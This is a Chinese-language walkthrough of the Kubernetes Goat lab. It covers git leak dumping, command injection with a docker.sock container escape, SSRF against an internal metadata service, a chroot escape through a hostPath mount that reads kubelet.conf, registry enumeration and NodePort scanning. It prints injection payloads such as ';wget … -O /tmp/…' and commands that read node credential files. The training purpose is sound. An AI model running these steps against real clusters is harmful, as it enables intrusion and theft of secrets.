通过Kuberneters Goat学习K8S安全(上)

 实验环境://katacoda.com/madhuakula/scenarios/kubernetes-goat

 0x1、敏感信息泄露利用

 第一关是代码泄露利用,打开网站后显示:

image-20220107111238152

 告诉我们这是一个代码构建服务。

 我们可以测试是否存在git泄露

image-20220107121714952

 可以访问到git的配置文件,然后可以尝试从网站转储 git存储库

 这里使用的工具是git-dumper://github.com/arthaud/git-dumper

 用法如下:

git-dumper //website.com/.git ~/website

image-20220107121918260

 它会自动遍历路径和获取代码。

 等待获取完成,然后查看获取的仓库内容:

image-20220107122126645

 使用git log可以查看代码提交的日志记录:

image-20220107122244913

 然后可以使用git checkout检出特定的提交,比如有一个包含环境变量的提交,检出来看看,说不定有敏感的信息:

image-20220107123432773

 查看.env文件:

image-20220107123506969

 还可以用另外一个工具trufflehog 对.git目录进行分析:

image-20220107123816752

 产生漏洞的原因:开发人员提交代码的时候,将敏感信息也提交进去了。

 0x2、Docker in Docker 利用

 第二关是DIND (docker-in-docker) exploitation

 描述:大多数使用Docker并在管道构建容器的CI/CD和管道系统都使用称为DIND(docker-in-docker)的东西。简单来说就是在Docker容器中调用和执行宿主机的Docker。在此场景中,我们尝试利用并获得对宿主机系统的访问权限。

 访问后的页面内容:

image-20220107125033276

 看起来像是存在命令注入漏洞,我们测试一下:

image-20220107125211755

 果不其然。

 如果要利用docker in docker进行逃逸,前提是在docker容器运行的时候把docker.sock套接字文件一并挂载到了容器中。当我们拿到容器权限又存在挂载的docker.sock套接字文件,我们就可以通过 Docker Socket与宿主机的Docker服务进行通信,我们可以通过它创建新的容器,并把宿主机的目录挂载到新创建的容器中,这样我们就能访问宿主机的资源了。

 查看是否存在docker.sock挂载

image-20220107130046608

 然后我们下载一个docker可执行程序,注入如下命令:

;wget //download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz

image-20220107130615533

 解压缩:

;tar -xvzf /tmp/docker-19.03.9.tgz -C /tmp/

image-20220107130930358

 然后就可以利用docker.sock来访问宿主机系统并在宿主机上执行docker命令

;/tmp/docker/docker -H unix:///custom/docker/docker.sock ps

image-20220316150512492

;/tmp/docker/docker -H unix:///custom/docker/docker.sock images

image-20220316151557972

 0x3 SSRF漏洞

 第三关是SSRF in K8S world

 场景描述:SSRF(服务器端请求伪造)漏洞是云原生环境的首选攻击方式。在此场景中,我们将学习如何利用应用程序中存在的SSRF漏洞的来访问云实例元数据以及内部服务元数据信息。

 访问应用页面:

image-20220316152425434

 这应该是一个内部API代理服务

 我们尝试一下访问内部的服务,比如容器服务

image-20220316153246871

 可以看到内部有一个//metadata-db服务,访问看看

image-20220316153749132

 可以看到有一个latest的路径,我们继续访问//metadata-db/latest/

image-20220316154027430

 可以发现好几个路径,通过枚举尝试,最终在//metadata-db/latest/secrets/kubernetes-goat中发现了关键信息:

image-20220316154223267

 看起来像Base64编码的字符串,解密看看:

image-20220316155049365

 0x4 容器逃逸到宿主系统(敏感目录挂载)

 访问这一关的页面

image-20220316161337824

 是一个Linux shell环境

 场景描述

 大多数监控、跟踪和调试软件需要以额外的权限和功能运行。在这个场景中,我们看到一个具有额外功能和权限(甚至包含HostPath)的Pod,它允许我们访问宿主机系统并提供节点级配置,这样会带来可以获取整个集群控制权限的危害。

查看当前环境的基本信息

image-20220316162038349

 可以发现当前用户权限是root,系统是运行在docker 容器中。

 查看挂载信息:

image-20220316162407528

 可以看到一个host-system的挂载,像是直接挂载的宿主机分区。查看里面的内容:

image-20220316162824783

 看起来像是把宿主机完整的系统都挂载进来了。

 那么我们可以用chroot切换到宿主机的目录,获取对宿主机系统的权限访问

chroot /host-system bash

image-20220316163903744

 我们使用docker ps查看宿主机运行的容器

image-20220316164020618

 我们的目的是控制整个Kubernetes集群,查看Kubernets节点级配置文件:

cat /etc/kubernetes/kubelet.conf 

image-20220317092819202

 然后我们可以利用配置文件获取集群内的所有资源

kubectl --kubeconfig /etc/kubernetes/kubelet.conf  get all -n kube-system 

image-20220317093021130

 0x5 Docker CIS 安全基线分析

 场景描述

 该场景主要是在 Kubernetes 节点之上进行 Docker CIS 基准分析,以识别可能存在的安全漏洞。

 首先需要部署docker bench security将它启动为DaemonSet

 kubectl apply -f scenarios/docker-bench-security/deployment.yaml

image-20220317104406105

 访问docker-bench-security-xxxxx pod 并执行Docker CIS基线测试脚本。

image-20220317104558528

controlplane $ kubectl exec -it docker-bench-security-5cq2h -- sh
~ # cd docker-bench-security/
~/docker-bench-security # ./docker-bench-security.sh

 如果有多个节点,就依次进入并执行。

image-20220317104807885

image-20220317105058760

 然后,可以根据 Docker CIS 安全基线测试中看到的漏洞进行进一步的利用或修复。

 0x6 Kubernetes CIS 安全基线分析

 场景描述

 本场景主要是在Kubernetes节点之上进行Kubernetes CIS基线分析,识别可能存在的安全漏洞。

 首先,我们在节点上部署kube-bench securityKubernetes job

controlplane $ kubectl apply -f scenarios/kube-bench-security/node-job.yaml
job.batch/kube-bench-node created
controlplane $ kubectl apply -f scenarios/kube-bench-security/master-job.yaml
job.batch/kube-bench-master created
controlplane $

image-20220317105953165

 然后获取pod信息和查看jobs列表

image-20220317110355937

 查看kube-bench-node-xxxxx pod 的日志

image-20220317110534651

 然后,可以根据 Kubernetes CIS 安全基线测试中看到的漏洞进行进一步的利用。

 0x7 攻击私有仓库

 场景描述

 容器仓库是存储所有容器镜像的地方。大多数情况下,每个组织都有自己的私有仓库。有时候会因为配置错误,导致仓库处于公共/开放状态。另一方面来说,开发人员因为使用内部私有仓库,可能会在在容器镜像中存储一些敏感信息。

 因为这里已经设置好了私有仓库的端口,我们直接访问即可,如果是实际的安全测试中,需要进行扫描或者信息收集来确定私有仓库的地址和端口。

//2886795289-1235-simba09b.environments.katacoda.com/v2/

image-20220317112019718

 我们可以用一些API来测试访问仓库的信息

API文档参考://docs.docker.com/registry/spec/api/

//2886795289-1235-simba09b.environments.katacoda.com/v2/_catalog //列出存储库

image-20220317112419261

 查看具体的仓库信息:

//2886795289-1235-simba09b.environments.katacoda.com/v2/madhuakula/k8s-goat-users-repo/manifests/latest

image-20220317112722669

 经过审计,可以看到 docker 镜像信息中有API 密钥信息和 ENV 变量等敏感信息泄露。

image-20220317113038489

 然后可以更进一步通过docker pull将镜像下载到本地并进行分析。另外在某些情况下,甚至可以根据权限和特权将恶意的镜像推送到仓库。

 0x8 NodePort 暴露风险

 场景描述

 NodePortKubernetes的三种外部访问方式之一。NodePort 服务是接通外部网络到你的服务的最原始方式。是指在所有节点上开放一个特定端口,任何发送到该端口的流量都被转发到对应服务。

 如果用户使用 NodePort 暴露了 Kubernetes 集群内的任何服务,这意味着如果运行 Kubernetes 集群的节点没有启用任何防火墙/网络安全策略。一些未经身份验证和未经授权的服务会被暴露和利用。

 获取Kubernetes节点外部IP地址列表,因为这里是实验测试环境的原因,所以 EXTERNAL-IP显示为<none>

kubectl get nodes -o wide

image-20220317125253366

 默认情况下,NodePort的端口范围是30000-32767。可以使用Nmap等扫描工具进行扫描和服务识别。

image-20220317130101746

image-20220317130131363

 访问对应的端口查看暴露的服务信息

image-20220317130240017

 此漏洞/攻击取决于 Kubernetes 集群的配置方式。

 更多靶场实验练习、网安学习资料,请点击这里>>